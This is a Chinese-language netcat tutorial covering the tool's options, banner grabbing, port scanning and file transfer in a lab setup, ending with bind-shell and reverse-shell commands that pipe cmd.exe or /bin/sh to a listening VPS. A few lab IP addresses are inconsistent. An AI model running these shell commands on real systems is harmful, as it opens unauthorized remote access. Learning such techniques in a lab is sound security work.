什么是NC：nc是netcat的简写，有着网络界的瑞士军dao美誉。因为它短小精悍、功能实用，被设计为一个简单、可靠的网络工具
NC的作用：1.实现任意TCP/UDP端口的侦听，nc可以作为server以TCP或UDP方式侦听指定端口
2.端口的扫描，nc可以作为client发起TCP或UDP连接
3.机器之间传输文件
4.机器之间网络测速
NC的常用参数如下：-g<网关> 设置路由器跃程通信网关，最多可设置8个。
-G<指向器数目> 设置来源路由指向器，其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔，以便传送信息及扫描通信端口。
-l 使用监听模式，管控传入的资料。
-n 直接使用IP地址，而不通过域名服务器。
-o<输出文件> 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式，只在扫描通信端口时使用。
实验环境：操作系统 IP
win7（vps） 192.168.123.11
web服务器 192.168.123.18
（PS：首先要进入nc目录下）
1.抓取banner信息：nc -nv 192.168.123.11 21 未启用
nc -nv 192.168.123.11 445 启用
2.端口扫描（不推荐，效率不高很慢,多端口基本等于卡死）nc -v 192.168.123.11 80
nc -v 192.168.123.11 445
3.简单传输数据vps：nc.exe -l -p 8888
web服务器：nc.exe -vn 192.168.128.11 8888
4.反弹shellshell分为正向shell，另一种为反向shell。
反向shell一般在开启了防护措施的服务器上使用。
1）正向shell
vps链接目标主机
web服务器下：nc.exe -lvp 4444 -e c:\windows\system32\cmd.exe
（linux下：nc x.x.x.x 4444 -e /bin/sh #Linux）
（注意是小写l，不是数字1。 -lvp：监听模式启用，可视过程，设置端口）
vps接收：nc.exe 192.168.123.8 4444
2)反向shell
在vps上做监听：nc.exe -lvp 4444
在web服务器上进行反弹：nc.exe 192.168.123.11 4444 -e c:\windows\system32\cmd.exe
（linux下：nc x.x.x.x 4444 -e /bin/sh #Linux））
结果：
同样感谢余师傅的虚拟机
不同的环境会有一些不同的问题，欢迎讨论，随时编辑补充。